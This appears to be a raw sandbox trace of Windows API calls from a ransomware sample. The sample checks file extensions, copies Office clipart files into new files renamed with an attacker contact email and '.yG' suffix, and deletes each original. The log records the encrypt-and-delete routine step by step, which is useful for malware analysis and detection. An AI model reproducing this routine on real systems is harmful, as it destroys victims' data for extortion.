	[0153.645] lstrlenW (lpString=".jpg") returned 4
	[0153.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.645] lstrlenW (lpString=".doc") returned 4
	[0153.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.645] lstrlenW (lpString=".docx") returned 5
	[0153.645] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0153.645] lstrlenW (lpString=".pdf") returned 4
	[0153.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.646] lstrlenW (lpString=".xls") returned 4
	[0153.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.646] lstrlenW (lpString=".xlsx") returned 5
	[0153.646] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0153.646] lstrlenW (lpString=".ppt") returned 4
	[0153.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.646] lstrlenW (lpString=".zip") returned 4
	[0153.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.646] lstrlenW (lpString=".rar") returned 4
	[0153.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.646] lstrlenW (lpString=".bz2") returned 4
	[0153.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.646] lstrlenW (lpString=".7z") returned 3
	[0153.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.646] lstrlenW (lpString=".dbf") returned 4
	[0153.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.646] lstrlenW (lpString=".1cd") returned 4
	[0153.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0153.646] lstrlenW (lpString=".jpg") returned 4
	[0153.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.647] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.647] lstrlenW (lpString="J0090149.WMF") returned 12
	[0153.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.647] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=28212) returned 1
	[0153.647] CloseHandle (hObject=0x38c) returned 1
	[0153.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220
	[0153.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0153.648] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.648] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0153.649] GetLastError () returned 0x0
	[0153.649] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x6e34, lpOverlapped=0x0) returned 1
	[0153.757] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x6e40, lpOverlapped=0x0) returned 1
	[0153.759] ReadFile (in: hFile=0x38c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.759] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.760] SetEndOfFile (hFile=0x520) returned 1
	[0153.760] CloseHandle (hObject=0x520) returned 1
	[0153.760] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.760] SetEndOfFile (hFile=0x38c) returned 1
	[0153.764] CloseHandle (hObject=0x38c) returned 1
	[0153.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1
	[0154.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.096] lstrlenW (lpString=".doc") returned 4
	[0154.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.097] lstrlenW (lpString=".docx") returned 5
	[0154.097] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0154.097] lstrlenW (lpString=".pdf") returned 4
	[0154.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.097] lstrlenW (lpString=".xls") returned 4
	[0154.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.097] lstrlenW (lpString=".xlsx") returned 5
	[0154.097] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0154.097] lstrlenW (lpString=".ppt") returned 4
	[0154.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.097] lstrlenW (lpString=".zip") returned 4
	[0154.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.097] lstrlenW (lpString=".rar") returned 4
	[0154.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.097] lstrlenW (lpString=".bz2") returned 4
	[0154.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.097] lstrlenW (lpString=".7z") returned 3
	[0154.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.097] lstrlenW (lpString=".dbf") returned 4
	[0154.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.097] lstrlenW (lpString=".1cd") returned 4
	[0154.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.098] lstrlenW (lpString=".jpg") returned 4
	[0154.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.098] lstrlenW (lpString=".doc") returned 4
	[0154.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.098] lstrlenW (lpString=".docx") returned 5
	[0154.098] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0154.098] lstrlenW (lpString=".pdf") returned 4
	[0154.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.098] lstrlenW (lpString=".xls") returned 4
	[0154.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.098] lstrlenW (lpString=".xlsx") returned 5
	[0154.098] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0154.098] lstrlenW (lpString=".ppt") returned 4
	[0154.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.098] lstrlenW (lpString=".zip") returned 4
	[0154.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.098] lstrlenW (lpString=".rar") returned 4
	[0154.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.099] lstrlenW (lpString=".bz2") returned 4
	[0154.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.099] lstrlenW (lpString=".7z") returned 3
	[0154.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.099] lstrlenW (lpString=".dbf") returned 4
	[0154.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.099] lstrlenW (lpString=".1cd") returned 4
	[0154.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0154.099] lstrlenW (lpString=".jpg") returned 4
	[0154.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.099] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.099] lstrlenW (lpString="J0090781.WMF") returned 12
	[0154.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.373] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=5314) returned 1
	[0154.373] CloseHandle (hObject=0x540) returned 1
	[0154.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220
	[0154.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.374] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.374] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.374] GetLastError () returned 0x0
	[0154.374] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x14c2, lpOverlapped=0x0) returned 1
	[0154.376] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0154.377] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.378] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.378] SetEndOfFile (hFile=0x350) returned 1
	[0154.378] CloseHandle (hObject=0x350) returned 1
	[0154.378] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.378] SetEndOfFile (hFile=0x540) returned 1
	[0154.382] CloseHandle (hObject=0x540) returned 1
	[0154.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1
	[0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.383] lstrlenW (lpString=".doc") returned 4
	[0154.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.383] lstrlenW (lpString=".docx") returned 5
	[0154.383] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0154.383] lstrlenW (lpString=".pdf") returned 4
	[0154.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.383] lstrlenW (lpString=".xls") returned 4
	[0154.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.383] lstrlenW (lpString=".xlsx") returned 5
	[0154.383] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0154.383] lstrlenW (lpString=".ppt") returned 4
	[0154.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.383] lstrlenW (lpString=".zip") returned 4
	[0154.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.384] lstrlenW (lpString=".rar") returned 4
	[0154.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.384] lstrlenW (lpString=".bz2") returned 4
	[0154.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.384] lstrlenW (lpString=".7z") returned 3
	[0154.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.384] lstrlenW (lpString=".dbf") returned 4
	[0154.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.384] lstrlenW (lpString=".1cd") returned 4
	[0154.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.384] lstrlenW (lpString=".jpg") returned 4
	[0154.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.384] lstrlenW (lpString=".doc") returned 4
	[0154.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.384] lstrlenW (lpString=".docx") returned 5
	[0154.384] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0154.384] lstrlenW (lpString=".pdf") returned 4
	[0154.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.385] lstrlenW (lpString=".xls") returned 4
	[0154.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.385] lstrlenW (lpString=".xlsx") returned 5
	[0154.385] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0154.385] lstrlenW (lpString=".ppt") returned 4
	[0154.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.385] lstrlenW (lpString=".zip") returned 4
	[0154.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.385] lstrlenW (lpString=".rar") returned 4
	[0154.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.385] lstrlenW (lpString=".bz2") returned 4
	[0154.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.385] lstrlenW (lpString=".7z") returned 3
	[0154.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.385] lstrlenW (lpString=".dbf") returned 4
	[0154.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.386] lstrlenW (lpString=".1cd") returned 4
	[0154.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0154.386] lstrlenW (lpString=".jpg") returned 4
	[0154.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.386] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.386] lstrlenW (lpString="J0098497.WMF") returned 12
	[0154.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.387] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4970) returned 1
	[0154.387] CloseHandle (hObject=0x540) returned 1
	[0154.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220
	[0154.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.388] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.388] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.391] GetLastError () returned 0x0
	[0154.391] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x136a, lpOverlapped=0x0) returned 1
	[0154.393] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1370, lpOverlapped=0x0) returned 1
	[0154.394] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.394] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.394] SetEndOfFile (hFile=0x350) returned 1
	[0154.395] CloseHandle (hObject=0x350) returned 1
	[0154.395] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.395] SetEndOfFile (hFile=0x540) returned 1
	[0154.398] CloseHandle (hObject=0x540) returned 1
	[0154.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1
	[0154.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.399] lstrlenW (lpString=".doc") returned 4
	[0154.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.400] lstrlenW (lpString=".docx") returned 5
	[0154.400] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0154.400] lstrlenW (lpString=".pdf") returned 4
	[0154.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.400] lstrlenW (lpString=".xls") returned 4
	[0154.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.400] lstrlenW (lpString=".xlsx") returned 5
	[0154.400] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0154.400] lstrlenW (lpString=".ppt") returned 4
	[0154.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.400] lstrlenW (lpString=".zip") returned 4
	[0154.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.400] lstrlenW (lpString=".rar") returned 4
	[0154.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.400] lstrlenW (lpString=".bz2") returned 4
	[0154.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.400] lstrlenW (lpString=".7z") returned 3
	[0154.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.400] lstrlenW (lpString=".dbf") returned 4
	[0154.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.401] lstrlenW (lpString=".1cd") returned 4
	[0154.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.401] lstrlenW (lpString=".jpg") returned 4
	[0154.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
